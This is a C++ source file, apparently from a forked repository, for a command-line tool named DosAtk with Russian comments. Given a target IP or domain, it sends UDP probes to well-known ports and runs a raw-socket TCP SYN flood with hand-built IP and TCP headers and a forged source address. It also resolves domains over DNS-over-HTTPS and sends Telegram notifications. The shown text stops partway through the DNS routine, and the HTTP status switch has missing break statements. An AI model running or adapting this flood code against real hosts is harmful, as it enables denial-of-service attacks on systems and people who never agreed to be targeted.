forked from serafim/dos
1
0
Fork 0
dos/src/DosAtk.cpp

1117 lines
54 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/*
██████╗ ██████╗██╗ ██╗ ██╗██████╗
██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗
██║ ██║██║ ██║ ██║ ██║██████╔╝
██║ ██║██║ ██║ ██║ ██║██╔══██╗
██████╔╝╚██████╗███████╗ ███████╗██║██████╔╝
╚═════╝ ╚═════╝╚══════╝ ╚══════╝╚═╝╚═════╝
*/
#include <cstring> // Работа со строками и памятью (memset, memcpy)
#include <unistd.h> // POSIX API (close, read, write)
#include <sys/socket.h> // Сокеты (socket, setsockopt, sendto)
#include <netinet/ip.h> // Структура IP-заголовка (struct iphdr)
#include <netinet/tcp.h> // Структура TCP-заголовка (struct tcphdr)
#include <arpa/inet.h> // Преобразование IP-адресов (inet_addr, inet_pton)
#include <net/if.h> // Определение констант сетевых интерфейсов (IFNAMSIZ)
#include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl)
#include <fcntl.h> // Флаги файловых дескрипторов (fcntl)
#include <string> // Строки
#include <chrono> // Для работы с временем
#include <getopt.h> // Для struct option и getopt_long()
#include <curl/curl.h> // Основной заголовок libcurl
#include <iostream> // стандартный input output
#include <iomanip> // Форматированный ввод/вывод
#include <nlohmann/json.hpp>// Работа с JSON
#include <stdio.h> // Стандартный ввод/вывод (C)
#include <stdlib.h> // Базовые функции (C)
#include <string.h> // Работа со строками (C)
#include <netinet/in.h> // Сетевые функции, интернет-адреса
#include <sys/stat.h> // Для создания директории mkdir
#include <fstream> // Работа с файловыми потоками
/*
██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗
██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗██╔══██╗██╔════╝
██║ ██║██║ ██║ ██║ ██║███████║██████╔╝███████╗
██║ ██║██║ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║
██████╔╝╚██████╗███████╗ ╚████╔╝ ██║ ██║██║ ██║███████║
╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════
*/
int argc; // Количество аргументов при вызове программы
char **argv; // Массив строк с агрументами
std::string attack_type; // Тип атаки: scan или syn
std::string domain; // Доменное Имя
std::string ip; // Ip жертвы
std::string port; // Порт для syn атаки
std::string log_file; // Путь к директории для логов
std::string telegram_id; // Telegram ID для уведомлений
std::string telegram_token; // Токен бота для уведомлений
int n_ok_requests; // Количество успешных запросов
int n_fail_requests; // Количество не успешных запросов
std::chrono::system_clock::time_point start_timestamp; // Начальное время работы
std::string log_msg; // Сообщение, которое будет записано в лог-файл
std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю
std::string msg; // Сообщение, которое будет отправлено в телеграм
int status; // Статус работы программы
/*
██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗
██╔══██╗██╔════╝██║ ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔══██╗██╔════╝██╔════╝
██║ ██║██║ ██║ ██████╔╝██████╔╝██║ ██║██║ █████╗ ██║ ██║██║ ██║██████╔╝█████╗ ███████╗
██║ ██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║ ██╔══╝ ██║ ██║██║ ██║██╔══██╗██╔══╝ ╚════██║
██████╔╝╚██████╗███████╗ ██║ ██║ ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║ ██║███████╗███████║
╚═════╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
*/
int my_check_params()
{
// Данная процедура записывает в глобальные переменные параметры
// (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы
// На вход получает int argc, char **argv, возвращает код выполнения
// Коды возврата:
// 2 - Атака флуд, все нужные опции есть
// 1 - Атака порт скан, все нужные опции есть
// 0 - нужна помощь
// -1 - пользователь не ввел тип атаки или ввел неверный тип атаки
// -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры
// -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры
// -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи
// -600 - пользователь ввел токен, но не id или наоборот
//Объявление
std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы
std::time_t now_time_t; // Текущее время
int opt; // Прочитанный параметр
const char* short_options; // Сокращения для параметров
struct option long_options[10]; // Структура, описывающая пеобходимые программе параметры
int i; // Счётчик для цикла
std::string token;
bool is_valid_ip;
int count;
// Инициализация
count = 0;
is_valid_ip = true;
token = "";
ms = std::chrono::duration_cast<std::chrono::milliseconds>(start_timestamp.time_since_epoch()) % 1000;
opt = -1;
short_options = "a:d:i:p:l:t:b:h";
long_options[0] = {"attack", required_argument, NULL, 'a'};
long_options[1] = {"domain", required_argument, NULL, 'd'};
long_options[2] = {"ip", required_argument, NULL, 'i'};
long_options[3] = {"port", required_argument, NULL, 'p'};
long_options[4] = {"log", required_argument, NULL, 'l'};
long_options[5] = {"telegram", required_argument, NULL, 't'};
long_options[6] = {"token", required_argument, NULL, 'b'};
long_options[7] = {"help", no_argument, NULL, 'h'};
long_options[8] = {NULL, 0, NULL, 0};
i = 0;
printf("start my_check_params\n"); // debug
now_time_t = std::time(nullptr);
// Выводим информацию о времени запуска программы
printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11)
std::localtime(&now_time_t)->tm_mday, // День месяца
std::localtime(&now_time_t)->tm_hour, // Часы
std::localtime(&now_time_t)->tm_min, // Минуты
std::localtime(&now_time_t)->tm_sec, // Секунды
ms.count()); // Миллисекунды
char buffer[100];
snprintf(buffer, sizeof(buffer),
"[%04d-%02d-%02d %02d:%02d:%02d.%03ld] Starting DosAtk",
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11)
std::localtime(&now_time_t)->tm_mday, // День месяца
std::localtime(&now_time_t)->tm_hour, // Часы
std::localtime(&now_time_t)->tm_min, // Минуты
std::localtime(&now_time_t)->tm_sec, // Секунды
ms.count()); // Миллисекунды
log_msg = std::string(buffer);
// Обрабатываем аргументы командной строки с помощью getopt_long
// Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций)
while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) {
switch (opt) {
case 'a': // Обработка опции -a (--attack)
attack_type = optarg; // Сохраняем тип атаки (scan/flood)
break;
case 'd': // Обработка опции -d (--domain)
domain = optarg; // Сохраняем доменное имя цели
break;
case 'i': // Обработка опции -i (--ip)
ip = optarg; // Сохраняем IP-адрес цели
break;
case 'p': // Обработка опции -p (--port)
port = optarg; // Сохраняем номер порта
break;
case 'l': // Обработка опции -l (--log)
log_file = optarg; // Сохраняем путь к лог-файлу
break;
case 't': // Обработка опции -t (--telegram)
telegram_id = optarg; // Сохраняем Telegram ID
break;
case 'b': // Обработка опции -b (--token)
telegram_token = optarg; // Сохраняем токен бота Telegram
break;
case 'h': // Обработка опции -h (--help)
printf("end my_check_params\n"); // debug
return 0; // Устанавливаем статус "показать справку"
break;
case '?': // Обработка неизвестной опции
printf("end my_check_params\n"); // debug
return -101; // Устанавливаем статус "неизвестная опция"
break;
}
}
std::istringstream ss(ip);
while (std::getline(ss, token, '.')) {
// Check number of parts
if (++count > 4) {
is_valid_ip = false;
break;
};
// Check if token is a number
if (token.empty() || token.size() > 3) {
is_valid_ip = false;
break;
};
for (char c : token) {
if (!isdigit(c)) {
is_valid_ip = false;
break;
};
}
int num = std::stoi(token);
if (num < 0 || num > 255) {
is_valid_ip = false;
break;
};
// Optional: Disallow leading zeros
if (token.size() > 1 && token[0] == '0') {
is_valid_ip = false;
break;
};
}
if(is_valid_ip) {
is_valid_ip = count == 4;
}
if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки
printf("end my_check_params\n"); // debug
return -1; // Некорректный тип атаки
}
else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP
printf("end my_check_params\n"); // debug
return -10; // Не указана цель для сканирования
}
else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP
printf("end my_check_params\n"); // debug
return -20; // Не указана цель для флуда
}
else if ((!telegram_id.empty() && telegram_token.empty()) || // Если указан telegram token то нужен и id
(telegram_id.empty() && !telegram_token.empty())) { // Если указан telegram id то нужен и token
printf("end my_check_params\n"); // debug
return -600; // Неполные данные для Telegram
} else if(!ip.empty() && !is_valid_ip) {
printf("end my_check_params\n"); // debug
return -601; // Введён неправильный ip
} else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
log_msg += " | Type: UDP port scan";
printf("end my_check_params\n"); // debug
return 1; // Валидные параметры для сканирования
}
else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
log_msg += " | Type: TCP SYN flood";
printf("end my_check_params\n"); // debug
return 2; // Валидные параметры для флуда
}
printf("end my_check_params\n"); // debug
return -101;
}
int my_udp() {
if ((n_ok_requests + n_fail_requests) == 0) {
printf("start my_udp\n"); // debug
}
int sockfd;
int port_idx;
int curr_port;
int ports_total;
int ports[14];
char dummy_data[5];
sockfd = -1; // Дескриптор сокета
struct sockaddr_in target_addr; // Адрес цели
port_idx = 0; // Текущий индекс порта
// Выполняет UDP портовое сканирование well-known портов
ports[0] = 53; // DNS
ports[1] = 67; // DHCP (сервер)
ports[2] = 68; // DHCP (клиент)
ports[3] = 69; // TFTP
ports[4] = 123; // NTP
ports[5] = 161; // SNMP
ports[6] = 162; // SNMP Trap
ports[7] = 389; // LDAP
ports[8] = 443; // HTTPS
ports[9] = 500; // IPSec
ports[10] = 514; // Syslog
ports[11] = 520; // RIP
ports[12] = 1900; // SSDP
ports[13] = 4500; // NAT-T
ports_total = sizeof(ports)/sizeof(ports[0]);
curr_port = ports[port_idx]; // Текущий порт
// Данные для отправки
// Поэлементная инициализация
dummy_data[0] = 'S';
dummy_data[1] = 'C';
dummy_data[2] = 'A';
dummy_data[3] = 'N';
dummy_data[4] = '\0'; // Обязательный терминатор строки
ssize_t send_result; // Результат отправки
// Инициализация структуры адреса
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(curr_port);
// Преобразование IP
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
n_fail_requests++;
log_msg += " | Failed to parse IP for udp flood";
status = -501; // Код ошибки: неверный IP
if (sockfd != -1) close(sockfd);
}
// Создание сокета
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sockfd < 0) {
n_fail_requests++;
log_msg += " | Failed to open socket for udp flood";
status = -502; // Ошибка создания сокета
if (sockfd != -1) close(sockfd);
}
// Отправка данных
send_result = sendto(sockfd, dummy_data, sizeof(dummy_data), 0,
(struct sockaddr*)&target_addr, sizeof(target_addr));
if (send_result < 0) {
n_fail_requests++;
log_msg += " | Failed to send udp flood request";
status = -503; // Ошибка отправки
} else {
n_ok_requests++;
status = 0; // Успешная отправка
}
// Проверка общего числа запросов
if (n_ok_requests + n_fail_requests >= 1000) {
printf("end my_udp\n"); // debug
log_msg += " | Sent 1000 requests";
status = 2; // Условие завершения
return status;
}
// Переход к следующему порту
port_idx = (port_idx + 1) % ports_total;
return status;
}
void my_diag()
{
// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода,
// формирует сообщение с описанием произошедшей ошибки
printf("start my_diag, status: %i\n", status); // debug
switch (status) // Выбор сообщения в зависимости от кода ошибки
{
case 0: // Специальный случай - вывод справки по использованию
printf("Usage: ./DosAtk [options]\n"
"Required:\n"
" -a, --attack TYPE Type of attack (scan|flood)\n"
" -d, --domain DOMAIN Target domain\n"
" -i, --ip IP Target IP\n"
" -p, --port PORT Port. Required only for flood type!\n"
"Optional:\n"
" -l, --log FILE Log file\n"
" -t, --telegram ID Telegram ID\n"
" -b, --token TOKEN Telegram bot token\n");
break;
case -1: // Некорректный тип атаки
printf("Error: Invalid attack type!\n--help for more info\n");
log_msg += " | Error: Invalid attack type";
break;
case -10: // Отсутствуют обязательные параметры для сканирования портов
printf("Error: Missing required parameters for port scanning!\n--help for more info\n");
log_msg += " | Error: Missing required parameters for port scanning";
break;
case -20: // Отсутствуют обязательные параметры для SYN flood атаки
printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n");
log_msg += " | Error: Missing required parameters for tcp syn dos attack";
break;
case -101: // Встречена неизвестная опция командной строки
printf("Error: Unknown option!\n--help for info\n");
log_msg += " | Error: Unknown option";
break;
case -600: // Неполные данные для Telegram-уведомлений
printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n--help for info\n");
log_msg += " | Error: To use telegram integration both telegram_id and telegram_token have to be provided";
break;
case -601: // Неверный ip
printf("Error: Invalid ip address!\n--help for info\n");
log_msg += " | Error: Invalid ip address provided by user";
break;
}
printf("end my_diag\n"); // debug
}
// Функция для экранирования специальных символов в строке перед использованием в JSON
// Принимает: const std::string& s - исходная строка для обработки
// Возвращает: std::string - строка с экранированными спецсимволами
std::string escape_json(const std::string& s)
{
// Возвращаем строку с экранированными символами
// ===== Объявления =====
std::string result; // Результирующая строка с экранированными символами
char c; // Символ в строке
// ===== Инициализация =====
result = "";
c = '\0'; // пустой символ
// Проходим по каждому символу входной строки
for (char c : s) {
// Обрабатываем специальные символы JSON
switch (c) {
case '"': result += "\\\""; break; // Экранирование двойных кавычек
case '\\': result += "\\\\"; break; // Экранирование обратного слеша
case '\b': result += "\\b"; break; // Экранирование backspace
case '\f': result += "\\f"; break; // Экранирование formfeed
case '\n': result += "\\n"; break; // Экранирование новой строки
case '\r': result += "\\r"; break; // Экранирование возврата каретки
case '\t': result += "\\t"; break; // Экранирование табуляции
default: result += c; break; // Все остальные символы добавляем как есть
}
}
return result; // Возвращаем обработанную строку
}
bool is_numeric(const std::string& s)
{
// Проверка, является ли строка числом (включая отрицательные)
// ===== Объявления =====
size_t start; // Индекс, с которого начинать проверку цифр
size_t i;
// ===== Инициализация =====
start = 0;
i = 0;
if (s.empty()) return false; // Пустая строка не может быть числом
// Проверяем наличие знака минус в начале
if (s[0] == '-') {
// Строка из одного минуса не является числом
if (s.size() == 1) return false;
// Если минус есть, начинаем проверку с следующего символа
start = 1;
}
// Проверяем все оставшиеся символы на цифры
for (i = start; i < s.size(); ++i) {
// Найден нецифровой символ - строка не число
if (!isdigit(s[i])) return false;
}
// Все проверки пройдены - строка является числом
return true;
}
int my_msg()
{
printf("start my_msg\n"); // debug
// Объявление
struct curl_slist* headers; // Заголовки HTTP-запроса
CURL* curl; // Указатель на CURL-объект
std::string escaped_msg; // Экранированное сообщение для JSON
std::string chat_id_field; // Поле chat_id для JSON
std::string json_data; // Итоговый JSON для отправки
long http_code; // HTTP-код ответа
CURLcode res; // Код результата CURL-операции
// Инициализация
headers = curl_slist_append(nullptr, "Content-Type: application/json"); // Установка заголовка Content-Type
curl = curl_easy_init(); // Инициализация CURL
escaped_msg = escape_json(msg); // Экранирование спецсимволов в сообщении для JSON
chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\"";
json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса
http_code = 0;
res = CURLE_OK;
// Проверка наличия обязательных параметров Telegram
if (telegram_token.empty() || telegram_id.empty())
{
printf("end my_msg\n"); // debug
return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID)
}
if (!curl)
{
status = 6; // Ошибка инициализации CURL
}
// Настройка параметров CURL-запроса
curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); // URL API Telegram
curl_easy_setopt(curl, CURLOPT_POST, 1L); // Использовать POST-метод
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_data.c_str()); // Тело запроса (JSON)
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Заголовки запроса
curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); // User-Agent
// Игнорирование вывода ответа (пустая функция обратного вызова)
curl_easy_setopt(
curl, CURLOPT_WRITEFUNCTION,
[](void*, size_t size, size_t nmemb, void*) -> size_t {
return size * nmemb;
}
);
// Выполнение HTTP-запроса
res = curl_easy_perform(curl);
// Получение HTTP-кода ответа
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
// Освобождение ресурсов
curl_slist_free_all(headers); // Очистка заголовков
curl_easy_cleanup(curl); // Завершение работы CURL
// Обработка ошибок CURL
if (res != CURLE_OK)
{
log_msg += " | Failed to send telegram msg - CURL error";
status = 5; // Ошибка выполнения запроса
}
// Обработка HTTP-кодов ответа
switch (http_code)
{
case 200:
status = 0; // Успешный запрос
case 401:
log_msg += " | Failed to send telegram msg - authorization token error";
status = 1; // Ошибка авторизации (неверный токен)
case 400:
log_msg += " | Failed to send telegram msg - wrong request";
status = 2; // Неверный запрос
case 404:
log_msg += " | Failed to send telegram msg - resource not found";
status = 3; // Ресурс не найден
case 500:
log_msg += " | Failed to send telegram msg - server error";
status = 4; // Ошибка сервера
}
printf("end my_msg\n"); // debug
return status;
}
int my_log()
{
// Данная функция записывает в файл лога сообщение
printf("start my_log\n"); // debug
// === Объявление локальных переменных ===
std::ofstream log_stream; // Поток для работы с файлом
std::string current_log_name; // Текущее имя лог-файла
struct stat file_stat; // Информация о файле
std::chrono::system_clock::time_point now; // Текущее время
std::time_t now_time_t; // Время в time_t
std::tm now_tm; // Время в tm структуре
char time_buf[20]; // Буфер для времени
std::string rotated_log_name; // Новое имя файла при ротации
int stat_result; // Результат проверки stat
std::chrono::milliseconds ms; // Миллисекунды
std::ostringstream oss;
const size_t max_log_size = 10485760; // Лимит размера лога (10MB)
// === Инициализация переменных ===
now = std::chrono::system_clock::now();
now_time_t = std::chrono::system_clock::to_time_t(now);
localtime_r(&now_time_t, &now_tm);
memset(time_buf, 0, sizeof(time_buf));
strftime(time_buf, sizeof(time_buf), "%Y%m%d_%H%M%S", &now_tm);
current_log_name = log_file;
rotated_log_name = log_file + "_" + time_buf;
memset(&file_stat, 0, sizeof(file_stat));
stat_result = stat(log_file.c_str(), &file_stat);
ms = std::chrono::duration_cast<std::chrono::milliseconds>(
now.time_since_epoch()) % 1000;
// === Основная логика ===
oss << " | Stopping DosAtk [" << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << ms.count() << "]"
<< std::endl;
log_msg += oss.str();
// Если путь к лог-файлу не указан
if(log_file.empty()) {
printf("end my_log\n"); // debug
msg = "ОШИБКА ЗАПИСИ В ЛОГ: Путь к лог-файлу не найден!\n\nЛОГ:\n" + log_msg;
return 1;
}
// Открытие файла в режиме добавления
log_stream.open(log_file, std::ios::app | std::ios::ate);
// Проверка успешности открытия файла
if(!log_stream.is_open()) {
printf("end my_log\n"); // debug
msg = "ОШИБКА ЗАПИСИ В ЛОГ: Не удалось открыть лог-файл!\n\nЛОГ:\n" + log_msg;
return 1;
}
// Запись сообщения в лог
log_stream << log_msg;
// Проверка размер файла и выполняем ротацию
if(stat_result == 0 && file_stat.st_size > max_log_size) {
log_stream.close(); // Закрываем файл перед ротацией
// Переименование файла
if(rename(log_file.c_str(), rotated_log_name.c_str()) != 0) {
printf("end my_log\n"); // debug
msg = "ОШИБКА ЗАПИСИ В ЛОГ: Ошибка при ротации лога - не удалось преименовать файл!\n\nЛОГ:\n" + log_msg;
return 1;
}
// Открытие нового лог-файла
log_stream.open(log_file, std::ios::app);
if(!log_stream.is_open()) {
printf("end my_log\n"); // debug
msg = "ОШИБКА ЗАПИСИ В ЛОГ: Ошибка при ротации лога - не удалось открыть новый файл!\n\nЛОГ:\n" + log_msg;
return 1;
}
}
log_stream.close();
printf("end my_log\n"); // debug
return 0;
}
void my_fin()
{
// Данная процедура завершает программу и рассчитывает итоговое время выполнения программы
// Объявления
time_t end_time_t; // Время завершения выполнения программы
std::chrono::milliseconds duration; // Длительность выполнения программы
std::chrono::hours hours; // Компонента часов времени завершения
std::chrono::minutes minutes; // Компонента минут времени завершения
std::chrono::seconds seconds; // Компонента секунд времени завершения
std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения
std::chrono::system_clock::time_point now; // Текущее время
std::time_t now_time_t; // Время в time_t
std::tm now_tm; // Время в tm структуре
char time_buf[20]; // Буфер для времени
std::chrono::milliseconds ms; // Миллисекунды
double total_seconds;
// Иницаализация
end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
duration = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now() - start_timestamp); // Вычисляем продолжительность работы программы
hours = std::chrono::duration_cast<std::chrono::hours>(duration); // Разбиваем продолжительность на компоненты
minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты
now = std::chrono::system_clock::now();
now_time_t = std::chrono::system_clock::to_time_t(now);
localtime_r(&now_time_t, &now_tm);
memset(time_buf, 0, sizeof(time_buf));
strftime(time_buf, sizeof(time_buf), "%Y%m%d_%H%M%S", &now_tm);
ms = std::chrono::duration_cast<std::chrono::milliseconds>(
now.time_since_epoch()) % 1000;
printf("start my_fin\n"); // debug
std::cout << "Worked for "; // Выводим информацию о времени работы
// Для коротких периодов (<2 минут) выводим в секундах с дробной частью
if (duration < std::chrono::minutes(2))
{
total_seconds = std::chrono::duration<double>(duration).count();
std::cout << std::fixed << std::setprecision(3) << total_seconds << " seconds";
}
else
{
// Для длительных периодов выводим в формате ЧЧ:ММ:СС.мс
if (hours.count() > 0) // Если программа работала хотя бы один час
{
std::cout << hours.count() << "h "; // Выводим часы
}
if (minutes.count() > 0) // Если программа работала хотя бы одну минуту
{
std::cout << minutes.count() << "m "; // Выводим минуты
}
std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; // Выводим секунды и миллисекунды
}
std::cout << std::endl; // После осуществления вывода переходим на новую строку
// Выводим статистику по запросам
std::cout << "Sent " << (n_ok_requests + n_fail_requests) << " requests ("
<< n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl;
// Выводим точное время завершения работы
std::cout << "DosAtk stopped at " << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << ms.count() << std::endl;
log_msg = "";
printf("end my_fin\n"); // debug
// Завершаем программу с кодом состояния
std::exit(status);
}
int my_tcp_syn() {
/*
* Отправляет TCP SYN запрос на указанный IP и порт
* status:
* 0 - запрос успешно отправлен (атака продолжается)
* 2 - достигнуто максимальное количество запросов (1000)
* -201 - ошибка создания raw-сокета
* -202 - ошибка отправки SYN-пакета
*/
if ((n_ok_requests + n_fail_requests) == 0) {
printf("start my_tcp_syn\n"); // debug
}
// === Объявление локальных переменных ===
int sock; // Основной raw-сокет для отправки пакетов
int one; // Флаг для setsockopt
// Структуры для адресов
struct sockaddr_in target_addr; // Адрес цели
// Параметры подключения
uint16_t target_port; // Порт цели (в сетевом порядке байт)
// Структуры заголовков
struct iphdr ip_header; // IP-заголовок пакета
struct tcphdr tcp_header; // TCP-заголовок пакета
// Псевдозаголовок для контрольной суммы
struct {
uint32_t saddr;
uint32_t daddr;
uint8_t zero;
uint8_t protocol;
uint16_t tcp_len;
} pseudo_header;
// Буферы данных
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
// Переменные для встроенного расчета контрольной суммы
uint16_t *checksum_ptr;
unsigned long checksum_sum;
uint8_t *checksum_byte_ptr;
int checksum_len;
// === Инициализация переменных ===
sock = -1;
one = 1;
memset(&target_addr, 0, sizeof(target_addr));
target_port = htons(atoi(port.c_str()));
memset(&ip_header, 0, sizeof(ip_header));
memset(&tcp_header, 0, sizeof(tcp_header));
memset(&pseudo_header, 0, sizeof(pseudo_header));
memset(temp_buf, 0, sizeof(temp_buf));
memset(packet, 0, sizeof(packet));
checksum_ptr = 0;
checksum_sum = 0;
checksum_len = 0;
// === Основная логика процедуры ===
// 1. Создание raw-сокета
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
n_fail_requests++;
log_msg += " | Failed to create tcp syn raw-socket";
return -201;
}
// 2. Установка опции IP_HDRINCL
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
// 3. Настройка адреса цели
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
close(sock);
n_fail_requests++;
log_msg += " | Failed to send tcp syn packet";
return -202;
}
// 4. Формирование IP заголовка
memset(&ip_header, 0, sizeof(ip_header));
ip_header.ihl = 5;
ip_header.version = 4;
ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
ip_header.ttl = 64;
ip_header.protocol = IPPROTO_TCP;
ip_header.saddr = inet_addr("127.0.0.1");
ip_header.daddr = inet_addr(ip.c_str());
// 5. Формирование TCP заголовка
memset(&tcp_header, 0, sizeof(tcphdr));
tcp_header.source = htons(12345);
tcp_header.dest = target_port;
tcp_header.seq = htonl(123456);
tcp_header.doff = 5;
tcp_header.syn = 1;
tcp_header.window = htons(5840);
// 6. Расчет контрольной суммы
pseudo_header = {
.saddr = ip_header.saddr,
.daddr = ip_header.daddr,
.zero = 0,
.protocol = IPPROTO_TCP,
.tcp_len = htons(sizeof(tcphdr))
};
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
// Встроенный расчет контрольной суммы
checksum_ptr = (uint16_t *)temp_buf;
checksum_len = sizeof(temp_buf);
while (checksum_len > 1) {
checksum_sum += *checksum_ptr++;
checksum_len -= 2;
}
if (checksum_len == 1) {
checksum_byte_ptr = (uint8_t *)checksum_ptr;
checksum_sum += *checksum_byte_ptr;
}
checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
tcp_header.check = (unsigned short)(~checksum_sum);
// 7. Сборка пакета
memcpy(packet, &ip_header, sizeof(iphdr));
memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
// 8. Отправка пакета
if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++;
close(sock);
printf("end my_tcp_syn\n"); // debug
log_msg += " | Failed to send tcp syn packet";
return -202;
} else {
n_ok_requests++;
}
// 9. Проверка завершения
if ((n_ok_requests + n_fail_requests) >= 1000) {
log_msg += " | Sent 1000 requests";
printf("end my_tcp_syn\n"); // debug
close(sock);
return 2;
}
close(sock);
return 0;
}
// Callback для записи ответа от сервера
size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) {
size_t total_size = size * nmemb;
output->append((char*)contents, total_size);
return total_size;
}
int my_dns()
{
// Данная процедура сопостовляет доменное имя с IP
// Обрабатываем перменнкю domain, записываем в ip
// -4001 - ошибка инициализации CURL
// -4002 - ошибка запроса CURL
// -4003 - ошибка парсинга JSON
CURL* curl; // объект curl
CURLcode res; // результат выполнения запроса
std::string response; // ответ DNS сервера
std::string url; // API DNS сервера
struct curl_slist* headers; // Заголовки
nlohmann::json json_data; // Ответ от dns сервера
int status; // Состояние работы процедуры
status = 0;
curl = 0;
res = {};
response = "";
url = "";
headers = {0};
json_data = {0};
printf("start my_dns\n"); // debug
if (!ip.empty())
{
printf("end my_dns\n"); // debug
return 0;
}
// Инициализируем curl
curl = curl_easy_init();
if (!curl)
{
status = -4001;
}
else {
// Формируем URL для Cloudflare DoH
url = "https://1.1.1.1/dns-query?name=" + domain + "&type=A";
// Настройки CURL
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2_0); // HTTP/2
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L); // Проверка SSL
// Устанавливаем заголовок
headers = curl_slist_append(headers, "accept: application/dns-json");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
// Выполняем запрос
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
status = -4002;
} else {
// Парсим JSON и извлекаем IP
try {
json_data = nlohmann::json::parse(response);
if (json_data.contains("Answer")) {
for (const nlohmann::json& record : json_data["Answer"]) {
if (record["type"] == 1) { // A-запись (IPv4) (Это же и проверка валидного IP)
ip = record["data"].get<std::string>();
break;
}
}
}
} catch (const std::exception& e) {
status = -4003;
}
}
}
// Освобождаем ресурсы
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
if (!status) {
status = 1;
}
